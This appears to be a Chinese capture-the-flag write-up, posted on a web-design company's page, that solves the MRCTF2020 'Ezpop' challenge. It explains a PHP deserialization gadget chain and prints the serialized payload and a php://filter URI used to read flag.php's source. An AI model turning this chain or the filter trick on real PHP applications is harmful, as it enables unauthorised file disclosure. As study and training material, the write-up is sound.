湖南省网站建设_网站建设公司_自助建站_seo优化
2026/1/1 23:15:16 网站建设 项目流程

乱七八糟的web题

[MRCTF2020]Ezpop(php反序列化)

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

拿到一个php反序列化的题 习惯上先把每个类定义一遍

$mod = new Modifier;
$show = new Show;
$test = new Test;

接着找哪里可以被利用得到flag

public function append($value){include($value);}

可以通过include()包含来获得flag 其中include()中的参数来自append()

 public function __invoke(){$this->append($this->var);}

append()中的参数来自于Modifier类中的var 但要注意源码中使用protected来定义的var 并不能直接通过$mod->var=flag.php修改 可以在源代码中直接修改

protected  $var = "flag.php";

接着需要使__invoke()被调用

__invoke() //调用函数的方式调用一个对象时的回应方法

这里有个小tips 简单的题目中会用调用参数的类型来为参数命名 即此处的$function

public function __get($key){$function = $this->p;return $function();}

所以只要把Test类中的p改为Modifier类 即可自动调用其中的__invoke()方法 所以构造:

$test->p = $mod;

接着再来触发__get()

__get() //读取不可访问属性的值时会被调用

public function __toString(){return $this->str->source;}

这里的str->source就可以用来触发__get()

$show->str = $test;

个人理解:将str=$test后运行str->source 因为Test类中并不存在source 所以不能被访问 即触发Test中的__get()

__toString() //类被当成字符串时的回应方法

public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}

然后找到唯一一处有字符串的地方来触发__toString()

$show->source = $show;

__construct()在我们之前定义类的时候就被自动调用了

最后梳理一下整体思路:

创建类 -> Show::__construct() -> Show::__toString() -> Test::__get() -> Modifier::__invoke -> Modifier::append()

附图解:
运行得到payload为

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}

但提交后没有回显 进行url编码后再次提交

运行flag.php会显示help me find flag 而题目源码又提示flag is in flag.php 所以需要进一步去flag.php的源码中找 需要用到文件包含中的php伪协议 正好对应没用过的__wakeup()方法 所以将一开始的var改为php://来查看源码

protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";

最后提交payload 将得到的base64编码进行解码得到flag

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询